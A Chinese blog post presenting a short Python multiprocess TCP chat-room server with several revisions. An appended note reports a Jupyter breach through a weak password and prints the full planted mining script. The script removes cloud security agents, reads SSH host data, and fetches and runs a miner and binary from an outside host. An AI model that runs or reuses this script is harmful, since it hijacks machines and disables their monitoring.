python socket-tcp多人网络聊天室服务端(35行代码实现) - 戳人痛处

时间:2024-03-05 12:05:48

python socket-tcp多人网络聊天室服务端(35行代码实现)

关键词:多进程、TCP、共享内存

 

 

目前已运行在ali云服务器上,不出意外在服务器到期前都可以正常使用;大概8月到期;

ip 47.108.60.37 端口 2333

使用网络调试助手即可连接

 实现难点

进程间通信,如何在单个进程中给其他socket发信息;

1.进程间通信

进程间通信有管道,消息队列,queue,数据库等方式,但是这几种方式不便于实现;

1.管道的局限性在于两个进程间,和控制数据流向,对多进程的数据传输就不是很方便;

2.关于消息队列其实并不是很不清楚,我查阅linux c上的关于消息队列的编程,linux c是用链表实现的,意思是对每个节点的数据都开可以直接进行操作,也算是一种方便。但是python的多进程库queue不太一样,只有put和get,意思是只能逐个放入和逐个取出,找了很多资料也没发现queue有更方便的用法,至少在多进程通信上没有更方便的用法;

3.数据库,目前觉得比较方便一点的是redis开源数据库,但是图快速开发的话,只实现特定功能确实有点大柴小用,虽然说python通过redis库直接进行操作也确实方便,但是需要运行一个redis服务端;

4.共享内存在目前看来是最优解,很方便的可以实现进程间内存共享,在数据量小的情况下至少是最合适的。

2.进程内给所以客户端发信息

最开始使用的共享内存创建的列表来添加不同客户端的socket,但是在删除socket的时候却出现了问题,删除列表内元素使用的remove方法,可能是socket创建后自己本身结果原因,传入的值被remove方法误读了,提示没有该值;如下,此为使用列表作为socket连接记录;

import socket as sk
import multiprocessing as mp
import time as t
import os
 
 
def c_s_c(sock_in, addr,sock_list):             #进程出来函数
    for sock_c in sock_list.items():            #遍历字典元组
        sock_c[1].send(("user"+str(addr)+"---in---\n").encode()) #遍历通知所有在聊天室的用户有新用户进入
 
    while True:
        readdata = sock_in.recv(1024) #recv函数有阻塞左作用,若连接断开或者sock被关闭,返回空
        if readdata:           
            #print(readdata)       #服务端看信息调试用
            for sock_c in sock_list.items():   
                sock_c[1].send(str(addr).encode()+readdata) #转发给所用用户
        else:
            for sock_c in sock_list.items():
                sock_c[1].send(("user"+str(addr)+"---out---").encode())  #encode编码为字节序
            del sock_list[addr]      #将退出的用户从字典中删除
            sock_in.close()
            os._exit(0)             #终止进程
            break             #摆设用
             
def main():
    s = sk.socket(sk.AF_INET ,sk.SOCK_STREAM)
    s.bind((\'\',2333))
    s.listen()
    sock_list=mp.Manager().dict() #共享内存字典--------------------------------
    while True:
        sock,addr = s.accept()
        sock_list[addr]=sock    #将地址作为索引--------------------------------
        t1 = mp.Process(target=c_s_c, args=(sock, addr,sock_list)) #多进程------
        t1.start()
 
if __name__ == \'__main__\':
    main()

 

连接单个客户端后打印如下;

 

退出客户端并不能移除掉连接信息;

如下是使用字典,以ip addr 作为索引,问题才得以解决

import socket as sk
import multiprocessing as mp
import time as t
import os


def c_s_c(sock_in, addr,sock_list):             #进程出来函数
    for sock_c in sock_list.items():            #遍历字典元组
        sock_c[1].send(("user"+str(addr)+"---in---\n").encode()) #遍历通知所有在聊天室的用户有新用户进入

    while True:
        readdata = sock_in.recv(1024) #recv函数有阻塞左作用,若连接断开或者sock被关闭,返回空
        if readdata:            
            #print(readdata)       #服务端看信息调试用
            for sock_c in sock_list.items():    
                sock_c[1].send(str(addr).encode()+readdata) #转发给所用用户
        else:
            for sock_c in sock_list.items():
                sock_c[1].send(("user"+str(addr)+"---out---").encode())  #encode编码为字节序
            del sock_list[addr]      #将退出的用户从字典中删除
            sock_in.close()
            os._exit(0)             #终止进程
            break             #摆设用
            
def main():
    s = sk.socket(sk.AF_INET ,sk.SOCK_STREAM)
    s.bind((\'\',2333))
    s.listen()
    sock_list=mp.Manager().dict() #共享内存字典--------------------------------
    while True:
        sock,addr = s.accept()
        sock_list[addr]=sock    #将地址作为索引--------------------------------
        t1 = mp.Process(target=c_s_c, args=(sock, addr,sock_list)) #多进程------
        t1.start()

if __name__ == \'__main__\':
    main()

优化版本1 

共享内存在应对大量数据处理时,因每个进程都对同一个变量进行操作,在for循环处易发生错误,但作为一个聊天室demo作演示已绰绰有余,大数据处理还得上数据库,;

import socket as sk
import multiprocessing as mp
import time as t
import os
 
 
def c_s_c(sock_in, addr,sock_list): #进程出来函数
    for sock_c in sock_list.items():#遍历字典元组
        sock_c[1].send(("user"+str(addr)+"---in---\n").encode())#遍历通知所有在聊天室的用户有新用户进入
    while True:
        try:
            readdata = sock_in.recv(1024)#recv函数有阻塞左作用,若连接断开或者sock被关闭,返回空
            if readdata:           
                print(readdata) #服务端看信息调试用
                for sock_c in sock_list.items():   
                    try:
                        sock_c[1].send(str(addr).encode()+readdata)#转发给所用用户
                    except:
                        del sock_list[sock_c[0]]
            else:
                for sock_c in sock_list.items():
                    if sock_c[0]!=addr:    #如果链接中断了,就不再发给该sock,继续操作该sock会引发异常;
                        sock_c[1].send(("user"+str(addr)+"---out---\n").encode())#encode编码为字节序
                del sock_list[addr] #将退出的用户从字典中删除
                print("del success")
                os._exit(0) #终止进程
                break#摆设用
        except:
            for sock_c in sock_list.items():
                if sock_c[0]!=addr:    #如果链接中断了,就不再发给该sock,继续操作该sock会引发异常;
                    sock_c[1].send(("user"+str(addr)+"---out---\n").encode())#encode编码为字节序
            del sock_list[addr] #将退出的用户从字典中删除
            print("del success")
            os._exit(0) #终止进程
            break#摆设用

             
def main():
    s = sk.socket(sk.AF_INET ,sk.SOCK_STREAM)
    s.setsockopt(sk.SOL_SOCKET, sk.SO_KEEPALIVE, 1)
    s.setsockopt(sk.SOL_TCP, sk.TCP_KEEPIDLE, 1)
    s.setsockopt(sk.SOL_TCP, sk.TCP_KEEPINTVL, 1)
    s.setsockopt(sk.SOL_TCP, sk.TCP_KEEPCNT, 1)
    s.bind((\'\',2333))
    s.listen()
    sock_list=mp.Manager().dict()#共享内存字典--------------------------------
    while True:
        sock,addr = s.accept()
        sock_list[addr]=sock#将地址作为索引--------------------------------
        t1 = mp.Process(target=c_s_c, args=(sock, addr,sock_list)) #多进程------
        t1.start()
 
if __name__ == \'__main__\':
    main()

 

 

理论上支持任意多的用户接入~至少几十个接入没有问题;如果需要开发个客户端的话,用单终端实现收和发这个暂时不知道怎么解决,如果用一些gui库的话,在两个窗口上,一个作接收,一个作发送还是有个大概思路

小记2

  目前这35行代码运行仍然有需要改善的地方,在使用中发现,如果客户端没有按照3次或者4次握手正常断开,服务端会继续维持这个链接720s,这个结果就影响到了进程的终止处理,因此这里需要加入客户端保活检测机制,后续在尝试解决;

小记1

过分了

jupyter notebook由于设置登入密码过于简单(admin),竟被侵入植入挖矿病毒脚本,脚本代码如下;

现已重新创建实例,重设密码 ;

#!/bin/bash
cd /tmp
curl http://lumtest.com/myip.json
cat /root/.ssh/known_hosts
if ps aux | grep -i \'[a]liyun\'; then
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i \'[y]unjing\'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
lscpu
rm -rf java-update.rar
curl -OL http://tiktok.wenkaisb.info/java-update.rar;chmod 777 java-update.rar;./java-update.rar
rm -rf xmrig.tar.gz
curl -s -L http://tiktok.wenkaisb.info/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 853P6jv8Npp5nV1as3w9Td7Kaoy9CBtS12Cz2ive7KjMHCijrpwMipQDom1GSPej1UQ38TYbesnDafieGZv76JrGGVAVsAr
sleep 5s
history |grep ssh
history |grep scp
ps -ef|grep xmrig
nvcc -V
lspci | grep -i nvidia
lspci | grep -i amd